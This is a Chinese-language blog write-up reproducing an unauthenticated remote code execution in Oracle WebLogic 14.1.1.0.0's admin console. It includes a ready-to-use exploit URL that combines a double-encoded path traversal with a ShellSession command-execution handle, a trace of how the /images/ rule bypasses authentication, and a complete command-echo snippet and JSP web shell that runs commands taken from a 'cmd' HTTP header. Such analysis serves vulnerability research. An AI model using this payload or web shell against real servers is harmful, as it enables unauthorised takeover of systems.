简介
这是weblogic的一个未授权前台RCE,通过GET请求即可触发,简单粗暴。
复现一下
直接下载了14.1.1.0.0版本的weblogic,payload先搞上
利用成功,太猛了
触发点是com.bea.console.handles.HandleFactory
的getHandle
,可以调用一个参数是String的构造函数,payload中用的是com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");
调用栈如下:
<init>:114, ShellSession (com.tangosol.coherence.mvel2.sh)
newInstance:-1, GeneratedConstructorAccessor110 (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
getHandle:58, HandleFactory (com.bea.console.handles)
init:112, BreadcrumbBacking (com.bea.console.utils)
initializeBackingFile:144, Backable$Impl (com.bea.netuix.servlets.controls)
init:64, AdministeredBackableControl (com.bea.netuix.servlets.controls)
init:236, Window (com.bea.netuix.servlets.controls.window)
init:226, Portlet (com.bea.netuix.servlets.controls.portlet)
visit:99, ControlLifecycle$1 (com.bea.netuix.nf)
walkRecursive:324, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walkRecursive:334, ControlTreeWalker (com.bea.netuix.nf)
walk:130, ControlTreeWalker (com.bea.netuix.nf)
processLifecycles:399, Lifecycle (com.bea.netuix.nf)
processLifecycles:361, Lifecycle (com.bea.netuix.nf)
processLifecycles:352, Lifecycle (com.bea.netuix.nf)
runInbound:184, Lifecycle (com.bea.netuix.nf)
run:159, Lifecycle (com.bea.netuix.nf)
runLifecycle:465, UIServlet (com.bea.netuix.servlets.manager)
doPost:291, UIServlet (com.bea.netuix.servlets.manager)
doGet:231, UIServlet (com.bea.netuix.servlets.manager)
service:216, UIServlet (com.bea.netuix.servlets.manager)
service:275, SingleFileServlet (com.bea.netuix.servlets.manager)
service:750, HttpServlet (javax.servlet.http)
service:64, MBeanUtilsInitSingleFileServlet (com.bea.console.utils)
service:125, AsyncInitServlet (weblogic.servlet)
run:295, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
run:260, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:137, StubSecurityHelper (weblogic.servlet.internal)
execute:353, ServletStubImpl (weblogic.servlet.internal)
doFilter:25, TailFilter (weblogic.servlet.internal)
doFilter:82, FilterChainImpl (weblogic.servlet.internal)
doFilter:38, ParamFilter (com.bea.console.internal)
doFilter:82, FilterChainImpl (weblogic.servlet.internal)
doFilter:32, RequestEventsFilter (weblogic.servlet.internal)
doFilter:82, FilterChainImpl (weblogic.servlet.internal)
wrapRun:3866, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3829, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:344, AuthenticatedSubject (weblogic.security.acl.internal)
runAsForUserCode:197, SecurityManager (weblogic.security.service)
runAsForUserCode:203, WlsSecurityProvider (weblogic.servlet.provider)
run:71, WlsSubjectHandle (weblogic.servlet.provider)
processSecuredExecute:2502, WebAppServletContext (weblogic.servlet.internal)
doSecuredExecute:2351, WebAppServletContext (weblogic.servlet.internal)
securedExecute:2326, WebAppServletContext (weblogic.servlet.internal)
execute:2304, WebAppServletContext (weblogic.servlet.internal)
runInternal:1779, ServletRequestImpl (weblogic.servlet.internal)
run:1733, ServletRequestImpl (weblogic.servlet.internal)
run:272, ContainerSupportProviderImpl$WlsRequestExecutor (weblogic.servlet.provider)
_runAs:352, ComponentInvocationContextManager (weblogic.invocation)
runAs:337, ComponentInvocationContextManager (weblogic.invocation)
doRunWorkUnderContext:57, LivePartitionUtility (weblogic.work)
runWorkUnderContext:41, PartitionUtility (weblogic.work)
runWorkUnderContext:651, SelfTuningWorkManagerImpl (weblogic.work)
execute:420, ExecuteThread (weblogic.work)
run:360, ExecuteThread (weblogic.work)
漏洞分析
触发的url应该为http://localhost:7001/console/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);
找到application.xml,确定触发的入口
web.xml中,解析portal后缀的servlet为AppManagerServlet
其他文章中提到的触发点MBeanUtilsInitSingleFileServlet
跟进AsyncInitServlet
从web进入后调用service方法
此处的delegate是servlet初始化的时候创建的,weblogic.servlet.AsyncInitServlet.servlet-class-name
就是web.xml里配置的MBeanUtilsInitSingleFileServlet
后面MBeanUtilsInitSingleFileServlet
触发命令执行的地方先不提,来看看权限认证是怎么绕过的。
weblogic接收到请求后,走到SelfTuningWorkManagerImpl
,可以看到workAdapter存有我们的请求信息
一路F8,在WebAppServletContext
的processSecuredExecute
方法中看到了checkAccess
,跟进
首先从constraintsMap中获取了一个资源的集合,然后判断我们输入的url符合其中的哪一条
这里匹配上了/images/
的规则
resourceConstraint
带着刚刚匹配上的规则,进入isAuthorized
函数
最终在hasPermission
中,判断ResourceConstraint
的unrestricted
属性,/images/
开头的url直接返回true
后面经过一系列的Filter后,调用对应的servlet
调用service方法,这就到了开头的地方了
上下文设置路径,这个时候url还是在编码的状态
进入到getTree函数,在这里有一个对路径做解码的操作
第一次进来getMergedControlFromFile函数,这个时候factoryMap是空的,所以我们根据路径去匹配portal信息是会匹配不上的
所以从factoryMap取出来的rootMcf为空,进入getControlFactoryFromFile函数去找对应的portal文件
最终在getSource中实现了目录穿越,成功访问到console.portal
并将这个url加入缓存
后面就是正常的执行流程,到达对应的servlet后,调用我们写入的com.tangosol.coherence.mvel2.sh.ShellSession类,实现命令执行
命令回显
这里也分析一下weblogic的命令回显,相对于其他中间件,weblogic可以比较简单的获取request和response对象
随便访问一个url,进来到ExecuteThread的execute函数,可以看到workadapter中的connectionHandler属性保存着request和response对象,所以问题转换为获取workadapter对象,而ExecuteThread有一个getCurrentWork方法就可以获取到这个adapter
weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork();
获取workadapter中的connectionHandler
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
从connectionHandler中得到request和response对象
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)obj.getClass().getMethod("getServletResponse").invoke(obj);
从http头取命令,执行后写到response中
String cmd = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, "cmd");
if(cmd != null && !cmd.isEmpty()){
String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}
jsp代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)obj.getClass().getMethod("getServletResponse").invoke(obj);
String cmd = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, "cmd");
if(cmd != null && !cmd.isEmpty()){
String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}
%>
但是这个不在jsp的时候是无效的。在ServletResponseImpl下断点,打开一个正常的请求看看是怎么样的
可以看到系统是从调用request对象的getResponse方法去拿response对象,但是connectionHandler从getServletResponse方法中取的response对象的地址跟前者是一样的(都是44f58803)
可能是理解有问题吧。。暂时还搞不清楚是什么情况,不通过jsp的时候只能用request取response进行回显